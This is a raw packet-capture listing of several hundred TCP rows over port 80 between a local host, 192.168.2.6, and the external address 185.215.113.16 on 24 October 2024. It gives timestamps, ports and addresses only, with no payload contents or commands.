Oct 24, 2024 09:08:14.574701071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574728012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574736118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574764013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574775934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574814081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574820995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574868917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574878931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574915886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574925900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574951887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574963093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574989080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575000048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575025082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575038910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575073957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575082064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575131893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575134039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575171947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575182915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575211048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575228930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575248003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575258017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575285912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575297117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575335979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575351000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575387001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575402021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575439930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575444937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575480938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575495005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575517893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575537920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575561047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575575113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575613022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575633049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575651884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575653076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575687885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575705051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575723886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575741053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575759888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575788975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575798988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575812101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575835943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575845957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575871944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575886011 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575917006 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575922012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575954914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.575964928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.575992107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576008081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576040030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576047897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576085091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576102972 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576122046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576139927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576175928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576261997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576313019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576316118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576351881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576369047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576387882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576410055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576426983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.576433897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.576487064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.615360022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.615456104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.615478992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.615511894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.615549088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.615561008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.615586042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.615606070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.615623951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.615628958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.615663052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.615674973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.615714073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658452988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658550978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658590078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658616066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658644915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658651114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658651114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658683062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658705950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658714056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658746958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658749104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658771038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658804893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658807993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658839941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658868074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658875942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658890009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658912897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658935070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.658967018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.658972979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659022093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659027100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659056902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659076929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659095049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659113884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659130096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659169912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659169912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659183025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659216881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659234047 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659257889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659264088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659292936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659311056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659354925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.659360886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.659410000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.691999912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692075014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692096949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692114115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692125082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692171097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692172050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692229033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692230940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692264080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692284107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692300081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692318916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692339897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692357063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692390919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692399979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692452908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692454100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692492008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692506075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692528963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692540884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692565918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692579031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692616940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692620993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692657948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692679882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692711115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692713976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692748070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692764997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692785978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692799091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692822933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692842960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692858934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692878962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692895889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692900896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692933083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692954063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.692966938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.692979097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693002939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693017960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693039894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693053961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693072081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693087101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693123102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693125963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693181992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693182945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693236113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693237066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693273067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693289042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693310976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693321943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693348885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693366051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693384886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693398952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693423986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693434000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693479061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693547010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693605900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693614960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693669081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693672895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693703890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693747997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693748951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693758965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693794012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693808079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693830967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693862915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693922997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693941116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693953991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.693970919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.693995953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.694129944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.694184065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.694188118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.694220066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.694237947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.694257021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.694271088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.694293976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.694308043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.694331884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.694346905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.694387913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.732784986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.732839108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.732878923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.732892990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.732892990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.732916117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.732942104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.732954025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.732959032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.732990026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.733000040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.733027935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.733036041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.733066082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.733083010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.733122110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983037949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983181953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983176947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983241081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983277082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983285904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983285904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983285904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983335018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983347893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983387947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983413935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983426094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983442068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983463049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983483076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983498096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983524084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983537912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983558893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983573914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983587027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983606100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983629942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983654022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983658075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983692884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983701944 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983727932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983746052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983767986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983781099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983803034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983822107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983839035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983844995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983874083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983892918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983916044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983928919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983961105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.983985901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.983994961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984006882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984030008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984047890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984061003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984082937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984106064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984114885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984152079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984169006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984186888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984205961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984221935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984241009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984257936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984272957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984293938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984303951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984328032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984342098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984363079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984370947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984401941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984411955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984436035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984452963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984471083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984484911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984508038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984530926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984560013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984561920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984599113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984616995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984635115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984652042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984671116 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984689951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984707117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984724045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.984744072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.984760046 CEST	49997	80	192.168.2.6	185.215.113.16
